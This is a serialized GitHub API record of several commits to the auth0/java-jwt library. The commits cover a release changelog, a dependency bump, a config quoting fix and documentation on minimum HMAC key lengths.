  jimranderson@gmail.comj
  2022-10-20T20:20:40Zumessage"Escape quotes. Works in auth0-javatree}(j
  (8768f88ddfa75310b362b5e36c8e1603e75c4598url^https://api.github.com/repos/auth0/java-jwt/git/trees/8768f88ddfa75310b362b5e36c8e1603e75c4598uj
  `https://api.github.com/repos/auth0/java-jwt/git/commits/6aa5fe8d2aba4b4bb3a148b02f82189cd2da9b1e
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj
  \https://api.github.com/repos/auth0/java-jwt/commits/6aa5fe8d2aba4b4bb3a148b02f82189cd2da9b1ehtml_urlQhttps://github.com/auth0/java-jwt/commit/6aa5fe8d2aba4b4bb3a148b02f82189cd2da9b1ecomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/6aa5fe8d2aba4b4bb3a148b02f82189cd2da9b1e/commentsj
  }(login
jimmyjamesidJ7 j
  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j
  'https://api.github.com/users/jimmyjamesj
  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj
  }(j
  
jimmyjamesj
  J7 j
  MDQ6VXNlcjI3NjIyNQ==j
  2https://avatars.githubusercontent.com/u/276225?v=4j
  h3j
  'https://api.github.com/users/jimmyjamesj
  https://github.com/jimmyjamesj
  1https://api.github.com/users/jimmyjames/followersj
  >https://api.github.com/users/jimmyjames/following{/other_user}j
  7https://api.github.com/users/jimmyjames/gists{/gist_id}j
  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j
  5https://api.github.com/users/jimmyjames/subscriptionsj
  ,https://api.github.com/users/jimmyjames/orgsj
  -https://api.github.com/users/jimmyjames/reposj
  8https://api.github.com/users/jimmyjames/events{/privacy}j
  7https://api.github.com/users/jimmyjames/received_eventsj
  Userj
  uparents]}(j
  (0e4d1b760e6967abf729326623d054ec6bed424aj
  \https://api.github.com/repos/auth0/java-jwt/commits/0e4d1b760e6967abf729326623d054ec6bed424aj
  Qhttps://github.com/auth0/java-jwt/commit/0e4d1b760e6967abf729326623d054ec6bed424auastats}(totalK	additionsK	deletionsKufiles]}(j
  (fe59345e654ee1a2cb66b45ccedfced0d0fea58bfilename.shiprcstatusmodifiedj
  Kj
  KchangesKblob_urlWhttps://github.com/auth0/java-jwt/blob/6aa5fe8d2aba4b4bb3a148b02f82189cd2da9b1e/.shiprcraw_urlVhttps://github.com/auth0/java-jwt/raw/6aa5fe8d2aba4b4bb3a148b02f82189cd2da9b1e/.shiprccontents_urlihttps://api.github.com/repos/auth0/java-jwt/contents/.shiprc?ref=6aa5fe8d2aba4b4bb3a148b02f82189cd2da9b1epatch@@ -1,7 +1,7 @@
 {
   "files": {
     "README.md": [],
-    "lib/build.gradle": ['version = "{MAJOR}.{MINOR}.{PATCH}"']
+    "lib/build.gradle": ["version = \"{MAJOR}.{MINOR}.{PATCH}\""]
   },
   "prefixVersion": false
 }
\ No newline at end of fileuau(f87a5d3f7ce0df3c428fc16e72f2f27659dcf6be}(sha(f87a5d3f7ce0df3c428fc16e72f2f27659dcf6benode_idEC_kwDOAQtL0doAKGY4N2E1ZDNmN2NlMGRmM2M0MjhmYzE2ZTcyZjJmMjc2NTlkY2Y2YmUcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-05-06T14:37:24Zu	committer}(j  GitHubj  noreply@github.comj  2022-05-06T14:37:24Zumessage]Merge pull request #585 from auth0/perform-release-4.0.0-beta.0

Perform release 4.0.0-beta.0tree}(j  (bb38a65c87f97ce9ea7042aea680130177c29e74url^https://api.github.com/repos/auth0/java-jwt/git/trees/bb38a65c87f97ce9ea7042aea680130177c29e74uj*  `https://api.github.com/repos/auth0/java-jwt/git/commits/f87a5d3f7ce0df3c428fc16e72f2f27659dcf6be
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJidTKkCRBK7hj4Ov3rIwAAS9wIAKXmnq0CoHwuOGIVG8hsVNLZ
FSE7XDtJKdzJAEem6EIvBvbz2cRvIfnl6ncqMMANqlQzxBEzCANWQRrX1rSzxCYw
Wc59P1KhFj/Gv4acatUT8q/excHVa1ll/zk1n+T/FYt1J9rpUvkDD7D7v1nr69NY
6d9TDoGmvbKpRG1VUPr9UfTl22gkYIrKdSa6M/Z8yQIbuJF8WAq9fGYMKmHx0q0k
OezZgv4BWC8CI8pjI9rS4fKNttDwr3RpMH8XG0mxSK2ugJbwBr3v0vTt8m4T4/St
5YHg6MhHs9taQn4VGpyYY5awZXSRJ8NY/si/XM+iPPKjKlU2jA37F5rVWH8opmc=
=xyST
-----END PGP SIGNATURE-----
payloadX_  tree bb38a65c87f97ce9ea7042aea680130177c29e74
parent 4b64d9ee8977d9c32b55eac2dfc59f7775cde187
parent a14643d4a9cca096d3dc2049db6a4e0522d454d9
author Poovamraj T T <poovamraj@gmail.com> 1651847844 +0200
committer GitHub <noreply@github.com> 1651847844 +0200

Merge pull request #585 from auth0/perform-release-4.0.0-beta.0

Perform release 4.0.0-beta.0uuj*  \https://api.github.com/repos/auth0/java-jwt/commits/f87a5d3f7ce0df3c428fc16e72f2f27659dcf6behtml_urlQhttps://github.com/auth0/java-jwt/commit/f87a5d3f7ce0df3c428fc16e72f2f27659dcf6becomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/f87a5d3f7ce0df3c428fc16e72f2f27659dcf6be/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j*  &https://api.github.com/users/poovamrajj8  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj   }(j=  web-flowj?  J/j  MDQ6VXNlcjE5ODY0NDQ3jA  4https://avatars.githubusercontent.com/u/19864447?v=4jC  h3j*  %https://api.github.com/users/web-flowj8  https://github.com/web-flowjF  /https://api.github.com/users/web-flow/followersjH  <https://api.github.com/users/web-flow/following{/other_user}jJ  5https://api.github.com/users/web-flow/gists{/gist_id}jL  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jN  3https://api.github.com/users/web-flow/subscriptionsjP  *https://api.github.com/users/web-flow/orgsjR  +https://api.github.com/users/web-flow/reposjT  6https://api.github.com/users/web-flow/events{/privacy}jV  5https://api.github.com/users/web-flow/received_eventsjX  UserjZ  uparents](}(j  (4b64d9ee8977d9c32b55eac2dfc59f7775cde187j*  \https://api.github.com/repos/auth0/java-jwt/commits/4b64d9ee8977d9c32b55eac2dfc59f7775cde187j8  Qhttps://github.com/auth0/java-jwt/commit/4b64d9ee8977d9c32b55eac2dfc59f7775cde187u}(j  (a14643d4a9cca096d3dc2049db6a4e0522d454d9j*  \https://api.github.com/repos/auth0/java-jwt/commits/a14643d4a9cca096d3dc2049db6a4e0522d454d9j8  Qhttps://github.com/auth0/java-jwt/commit/a14643d4a9cca096d3dc2049db6a4e0522d454d9uestats}(totalK1	additionsK1	deletionsK ufiles]}(j  (123788f02965b501d550b32f1b5fc4edc33d081afilenameCHANGELOG.mdstatusmodifiedjx  K1jy  K changesK1blob_url\https://github.com/auth0/java-jwt/blob/f87a5d3f7ce0df3c428fc16e72f2f27659dcf6be/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/f87a5d3f7ce0df3c428fc16e72f2f27659dcf6be/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=f87a5d3f7ce0df3c428fc16e72f2f27659dcf6bepatchXi  @@ -1,5 +1,54 @@
 # Change Log
 
+## [4.0.0-beta.0](https://github.com/auth0/java-jwt/tree/4.0.0-beta.0) (2022-05-06)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.2...4.0.0-beta.0)
+
+💡 Check the [Migration Guide](https://github.com/auth0/java-jwt/blob/master/MIGRATION_GUIDE.md) to understand the changes required to migrate your application to v4.
+
+**Added**
+- JavaDoc updated [\#577](https://github.com/auth0/java-jwt/pull/577) ([poovamraj](https://github.com/poovamraj))
+- Add Migration Guide [\#576](https://github.com/auth0/java-jwt/pull/576) ([jimmyjames](https://github.com/jimmyjames))
+- Expose claim name and header constants [\#574](https://github.com/auth0/java-jwt/pull/574) ([jimmyjames](https://github.com/jimmyjames))
+- Added support for multiple checks on a single claim [\#573](https://github.com/auth0/java-jwt/pull/573) ([poovamraj](https://github.com/poovamraj))
+- Improved README structure [\#571](https://github.com/auth0/java-jwt/pull/571) ([poovamraj](https://github.com/poovamraj))
+- Improved Exception Handling [\#568](https://github.com/auth0/java-jwt/pull/568) ([poovamraj](https://github.com/poovamraj))
+- Predicate based Claim verification [\#562](https://github.com/auth0/java-jwt/pull/562) ([poovamraj](https://github.com/poovamraj))
+- Add lint checks [\#561](https://github.com/auth0/java-jwt/pull/561) ([poovamraj](https://github.com/poovamraj))
+- Support date/time custom claim validation [\#538](https://github.com/auth0/java-jwt/pull/538) ([jimmyjames](https://github.com/jimmyjames))
+- Add Instant support [\#537](https://github.com/auth0/java-jwt/pull/537) ([jimmyjames](https://github.com/jimmyjames))
+- Testing Java LTS versions [\#536](https://github.com/auth0/java-jwt/pull/536) ([poovamraj](https://github.com/poovamraj))
+
+**Changed**
+- Null claim handling [\#564](https://github.com/auth0/java-jwt/pull/564) ([poovamraj](https://github.com/poovamraj))
+- Undeprecate Single Key Constructor for Algorithms [\#551](https://github.com/auth0/java-jwt/pull/551) ([poovamraj](https://github.com/poovamraj))
+- Update documentation and undeprecate single content sign methods [\#550](https://github.com/auth0/java-jwt/pull/550) ([poovamraj](https://github.com/poovamraj))
+- Update test deps [\#539](https://github.com/auth0/java-jwt/pull/539) ([jimmyjames](https://github.com/jimmyjames))
+
+**Deprecated**
+- Deprecate secp256k1 curve for EC Algorithms [\#540](https://github.com/auth0/java-jwt/pull/540) ([poovamraj](https://github.com/poovamraj))
+
+**Removed**
+- Remove ES256K support [\#556](https://github.com/auth0/java-jwt/pull/556) ([poovamraj](https://github.com/poovamraj))
+- Remove impl package export in module-info [\#553](https://github.com/auth0/java-jwt/pull/553) ([poovamraj](https://github.com/poovamraj))
+- Remove internal Clock [\#533](https://github.com/auth0/java-jwt/pull/533) ([jimmyjames](https://github.com/jimmyjames))
+
+**Fixed**
+- Improve keyprovider reliability [\#570](https://github.com/auth0/java-jwt/pull/570) ([poovamraj](https://github.com/poovamraj))
+- Support date/time custom claim validation [\#538](https://github.com/auth0/java-jwt/pull/538) ([jimmyjames](https://github.com/jimmyjames))
+- Test only change - remove unnecessary throws clause from tests [\#535](https://github.com/auth0/java-jwt/pull/535) ([jimmyjames](https://github.com/jimmyjames))
+
+**Security**
+- Updated documentation regarding HMAC Key length [\#580](https://github.com/auth0/java-jwt/pull/580) ([poovamraj](https://github.com/poovamraj))
+
+**Breaking changes**
+- Added support for multiple checks on a single claim [\#573](https://github.com/auth0/java-jwt/pull/573) ([poovamraj](https://github.com/poovamraj))
+- Improve keyprovider reliability [\#570](https://github.com/auth0/java-jwt/pull/570) ([poovamraj](https://github.com/poovamraj))
+- Remove ES256K support [\#556](https://github.com/auth0/java-jwt/pull/556) ([poovamraj](https://github.com/poovamraj))
+- Remove impl package export in module-info [\#553](https://github.com/auth0/java-jwt/pull/553) ([poovamraj](https://github.com/poovamraj))
+- Fix header claims serialization [\#549](https://github.com/auth0/java-jwt/pull/549) ([jimmyjames](https://github.com/jimmyjames))
+- Serialize dates in collections as seconds since epoch [\#534](https://github.com/auth0/java-jwt/pull/534) ([jimmyjames](https://github.com/jimmyjames))
+- Replace com.auth0.jwt.interfaces.Clock with java.time.Clock [\#532](https://github.com/auth0/java-jwt/pull/532) ([jimmyjames](https://github.com/jimmyjames))
+
 ## [3.19.2](https://github.com/auth0/java-jwt/tree/3.19.2) (2022-05-05)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.1...3.19.2)
 uau(8eaa95da4d6db9d613e19026437d1b405d7c175f}(sha(8eaa95da4d6db9d613e19026437d1b405d7c175fnode_idEC_kwDOAQtL0doAKDhlYWE5NWRhNGQ2ZGI5ZDYxM2UxOTAyNjQzN2QxYjQwNWQ3YzE3NWYcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-24T16:09:32Zu	committer}(j  GitHubj  noreply@github.comj  2022-10-24T16:09:32ZumessageGUpdate `com.fasterxml.jackson.core:jackson-databind` to 2.13.4.2 (#631)tree}(j  (813212582a16ff71bc98cc3ab3646ff779f765acurl^https://api.github.com/repos/auth0/java-jwt/git/trees/813212582a16ff71bc98cc3ab3646ff779f765acuj  `https://api.github.com/repos/auth0/java-jwt/git/commits/8eaa95da4d6db9d613e19026437d1b405d7c175f
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjVri8CRBK7hj4Ov3rIwAAUTsIAKi00XoepP1wUfCdUCZj5JNh
GH61d0gIvHo3gMnTMM6KPPteM5bMzbIoT4BD/svRBWsjUK8DLgaiEp44co4GOiSb
DTQFHCW4aiftQmpsJtVK//TmIXIte9Oo8sF0rjxaw+jcywjjwVYZTx84VFSkSOHb
FWI8L+2vecUAJCOW5gdsCEOPKDbMEeq4o3QjYvy6mWHOUIoSkR9XZ70TLu3k45bB
0I3A0nu2nFCtCT73lA+aH2nEueYh92BRvtgKR5ufCeN4jhrZ2qc89dEaus0qVGwz
POcZo7edD2sN5UKcNHi41sR2WFOZ+f5R4lOPo+8gfbpICi9ZCq2+HvRoLHdgAgY=
=Wlqp
-----END PGP SIGNATURE-----
payloadX  tree 813212582a16ff71bc98cc3ab3646ff779f765ac
parent c154c46434a543cec797eed993b50f1ca3e5db71
author Jim Anderson <jim.anderson@auth0.com> 1666627772 -0500
committer GitHub <noreply@github.com> 1666627772 -0500

Update `com.fasterxml.jackson.core:jackson-databind` to 2.13.4.2 (#631)

uuj  \https://api.github.com/repos/auth0/java-jwt/commits/8eaa95da4d6db9d613e19026437d1b405d7c175fhtml_urlQhttps://github.com/auth0/java-jwt/commit/8eaa95da4d6db9d613e19026437d1b405d7c175fcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/8eaa95da4d6db9d613e19026437d1b405d7c175f/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(j  (c154c46434a543cec797eed993b50f1ca3e5db71j  \https://api.github.com/repos/auth0/java-jwt/commits/c154c46434a543cec797eed993b50f1ca3e5db71j  Qhttps://github.com/auth0/java-jwt/commit/c154c46434a543cec797eed993b50f1ca3e5db71uastats}(totalK	additionsK	deletionsKufiles]}(j  (dd0d043b04e42af17eb293cc2cb682f9af3fe380filenamelib/build.gradlestatusmodifiedj  Kj  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/8eaa95da4d6db9d613e19026437d1b405d7c175f/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/8eaa95da4d6db9d613e19026437d1b405d7c175f/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=8eaa95da4d6db9d613e19026437d1b405d7c175fpatchXi  @@ -60,7 +60,7 @@ javadoc {
 }
 
 dependencies {
-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2.2'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.4.2'
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.60'
     testImplementation 'junit:junit:4.12'
     testImplementation 'net.jodah:concurrentunit:0.4.3'uau(df004b1bc55ed42f9ccb1d2b820bad08879ad273}(sha(df004b1bc55ed42f9ccb1d2b820bad08879ad273node_idEC_kwDOAQtL0doAKGRmMDA0YjFiYzU1ZWQ0MmY5Y2NiMWQyYjgyMGJhZDA4ODc5YWQyNzMcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-05-04T09:38:43Zu	committer}(j  
Poovamraj T Tj  poovamraj@gmail.comj  2022-05-04T09:38:43Zumessage/Updated documentation regarding HMAC Key lengthtree}(j  (6667adf527a74fd440922104859a5b0b661b7d2furl^https://api.github.com/repos/auth0/java-jwt/git/trees/6667adf527a74fd440922104859a5b0b661b7d2fuj  `https://api.github.com/repos/auth0/java-jwt/git/commits/df004b1bc55ed42f9ccb1d2b820bad08879ad273
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/df004b1bc55ed42f9ccb1d2b820bad08879ad273html_urlQhttps://github.com/auth0/java-jwt/commit/df004b1bc55ed42f9ccb1d2b820bad08879ad273comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/df004b1bc55ed42f9ccb1d2b820bad08879ad273/commentsj
  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj(  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j-  	poovamrajj/  J j  MDQ6VXNlcjE1OTEwNDI1j1  4https://avatars.githubusercontent.com/u/15910425?v=4j3  h3j  &https://api.github.com/users/poovamrajj(  https://github.com/poovamrajj6  0https://api.github.com/users/poovamraj/followersj8  =https://api.github.com/users/poovamraj/following{/other_user}j:  6https://api.github.com/users/poovamraj/gists{/gist_id}j<  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j>  4https://api.github.com/users/poovamraj/subscriptionsj@  +https://api.github.com/users/poovamraj/orgsjB  ,https://api.github.com/users/poovamraj/reposjD  7https://api.github.com/users/poovamraj/events{/privacy}jF  6https://api.github.com/users/poovamraj/received_eventsjH  UserjJ  uparents]}(j  (5e8e20dee05c3f9f957a3f84f0de9be114710de6j  \https://api.github.com/repos/auth0/java-jwt/commits/5e8e20dee05c3f9f957a3f84f0de9be114710de6j(  Qhttps://github.com/auth0/java-jwt/commit/5e8e20dee05c3f9f957a3f84f0de9be114710de6uastats}(totalK	additionsK	deletionsKufiles](}(j  (3e270500bed0a12965ea22107ccbd7c2cacef2d9filename	README.mdstatusmodifiedjd  Kje  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/df004b1bc55ed42f9ccb1d2b820bad08879ad273/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/df004b1bc55ed42f9ccb1d2b820bad08879ad273/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=df004b1bc55ed42f9ccb1d2b820bad08879ad273patchX	  @@ -113,7 +113,7 @@ You'll first need to create a `JWTVerifier` instance by calling `JWT.require()`
     ```java
     String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
     try {
-        Algorithm algorithm = Algorithm.HMAC256("secret");
+        Algorithm algorithm = Algorithm.HMAC256("secret"); //use more secure key
         JWTVerifier verifier = JWT.require(algorithm)
             .withIssuer("auth0")
             .build(); //Reusable verifier instance
@@ -175,7 +175,7 @@ When using RSA or ECDSA algorithms and you just need to **sign** JWTs you can av
 
 ```java
 //HMAC
-Algorithm algorithmHS = Algorithm.HMAC256("secret");
+Algorithm algorithmHS = Algorithm.HMAC256("secret"); //use more secure key
 
 //RSA
 RSAPublicKey publicKey = //Get the key instance
@@ -185,9 +185,9 @@ Algorithm algorithmRS = Algorithm.RSA256(publicKey, privateKey);
 
 > Note: How you obtain or read keys is not in the scope of this library. For an example of how you might implement this, see [this gist](https://gist.github.com/lbalmaceda/9a0c7890c2965826c04119dcfb1a5469).
 
-##### HMAC Key Length and Security
+##### :key: HMAC Key Length and Security
 
-When using a Hash-based Message Authenticaton Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recommendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
+When using a Hash-based Message Authentication Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recommendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
 
 #### Using a KeyProvider:
 By using a `KeyProvider` you can change in runtime the key used either to verify the token signature or to sign a new token for RSA or ECDSA algorithms. This is achieved by implementing either `RSAKeyProvider` or `ECDSAKeyProvider` methods:u}(j  (27d799094d0c94e0cae342ae0aa3031a4e2b9042jj  9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javajl  modifiedjd  Kje  Kjn  Kjo  https://github.com/auth0/java-jwt/blob/df004b1bc55ed42f9ccb1d2b820bad08879ad273/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javajq  https://github.com/auth0/java-jwt/raw/df004b1bc55ed42f9ccb1d2b820bad08879ad273/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javajs  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=df004b1bc55ed42f9ccb1d2b820bad08879ad273ju  X  @@ -130,7 +130,9 @@ public static Algorithm RSA512(RSAKey key) throws IllegalArgumentException {
     /**
      * Creates a new Algorithm instance using HmacSHA256. Tokens specify this as "HS256".
      *
-     * @param secret the secret to use in the verify or signing instance.
+     * @param secret the secret bytes to use in the verify or signing instance.
+     *               Ensure the length of the secret is at least 256 bit long
+     *               See <a href="https://github.com/auth0/java-jwt#hmac-key-length-and-security">HMAC Key Length and Security in README</a>
      * @return a valid HMAC256 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */
@@ -142,6 +144,8 @@ public static Algorithm HMAC256(String secret) throws IllegalArgumentException {
      * Creates a new Algorithm instance using HmacSHA256. Tokens specify this as "HS256".
      *
      * @param secret the secret bytes to use in the verify or signing instance.
+     *               Ensure the length of the secret is at least 256 bit long
+     *               See <a href="https://github.com/auth0/java-jwt#hmac-key-length-and-security">HMAC Key Length and Security in README</a>
      * @return a valid HMAC256 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */
@@ -152,7 +156,9 @@ public static Algorithm HMAC256(byte[] secret) throws IllegalArgumentException {
     /**
      * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
      *
-     * @param secret the secret to use in the verify or signing instance.
+     * @param secret the secret bytes to use in the verify or signing instance.
+     *               Ensure the length of the secret is at least 384 bit long
+     *               See <a href="https://github.com/auth0/java-jwt#hmac-key-length-and-security">HMAC Key Length and Security in README</a>
      * @return a valid HMAC384 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */
@@ -164,6 +170,8 @@ public static Algorithm HMAC384(String secret) throws IllegalArgumentException {
      * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
      *
      * @param secret the secret bytes to use in the verify or signing instance.
+     *               Ensure the length of the secret is at least 384 bit long
+     *               See <a href="https://github.com/auth0/java-jwt#hmac-key-length-and-security">HMAC Key Length and Security in README</a>
      * @return a valid HMAC384 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */
@@ -174,7 +182,9 @@ public static Algorithm HMAC384(byte[] secret) throws IllegalArgumentException {
     /**
      * Creates a new Algorithm instance using HmacSHA512. Tokens specify this as "HS512".
      *
-     * @param secret the secret to use in the verify or signing instance.
+     * @param secret the secret bytes to use in the verify or signing instance.
+     *               Ensure the length of the secret is at least 512 bit long
+     *               See <a href="https://github.com/auth0/java-jwt#hmac-key-length-and-security">HMAC Key Length and Security in README</a>
      * @return a valid HMAC512 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */
@@ -186,6 +196,8 @@ public static Algorithm HMAC512(String secret) throws IllegalArgumentException {
      * Creates a new Algorithm instance using HmacSHA512. Tokens specify this as "HS512".
      *
      * @param secret the secret bytes to use in the verify or signing instance.
+     *               Ensure the length of the secret is at least 512 bit long
+     *               See <a href="https://github.com/auth0/java-jwt#hmac-key-length-and-security">HMAC Key Length and Security in README</a>
      * @return a valid HMAC512 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */ueu(e7cae2b56f51143b4cd373639f65557e0877c0ff}(sha(e7cae2b56f51143b4cd373639f65557e0877c0ffnode_idEC_kwDOAQtL0doAKGU3Y2FlMmI1NmY1MTE0M2I0Y2QzNzM2MzlmNjU1NTdlMDg3N2MwZmYcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-16T13:17:16Zu	committer}(j  GitHubj  noreply@github.comj  2022-03-16T13:17:16ZumessageMUpdate document and remove deprecation notice for content sign methods (#550)tree}(j  (4dec79fb48c02cabdb9c4d2e59e4a83f452d4f9furl^https://api.github.com/repos/auth0/java-jwt/git/trees/4dec79fb48c02cabdb9c4d2e59e4a83f452d4f9fuj  `https://api.github.com/repos/auth0/java-jwt/git/commits/e7cae2b56f51143b4cd373639f65557e0877c0ff
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiMeNcCRBK7hj4Ov3rIwAAtfgIAA4s5dcncWOWyYSMXy94MAJa
GxJJoN/HhIBlxRNWBrE4F+gkKPkBWf+QmD11y/h6t2EGRLVREQgM9OsPIaLgUjPJ
1977xDcCP3MbJTedo7K9xZaqlVpEga1rhX2C41f0jkdqF1RsVNTcvKnaYJ2JvS5j
vUipK4wFZCBoUE0mnDRpKj8xYU4hN9HbbWPGnjslxRRBrf89tnNTG1S31bvR3mOx
nenS1Z/WjDOGVIU3reosTfMM6igjEJmzmm0Uv+H8O2q9oJbXRjvqsdCWv2/aBSDo
aFGgYe2kfOBe93TK8aGV4V54dVd0CSTjejRSJkt4PIWp2qXOkVlGUWDg7YO4c5I=
=4SQ4
-----END PGP SIGNATURE-----
payloadX!  tree 4dec79fb48c02cabdb9c4d2e59e4a83f452d4f9f
parent 1433810366a592bf3fd2be48f1cb28ebcf3b42e6
author Poovamraj T T <poovamraj@gmail.com> 1647436636 +0530
committer GitHub <noreply@github.com> 1647436636 +0100

Update document and remove deprecation notice for content sign methods (#550)

uuj  \https://api.github.com/repos/auth0/java-jwt/commits/e7cae2b56f51143b4cd373639f65557e0877c0ffhtml_urlQhttps://github.com/auth0/java-jwt/commit/e7cae2b56f51143b4cd373639f65557e0877c0ffcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/e7cae2b56f51143b4cd373639f65557e0877c0ff/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
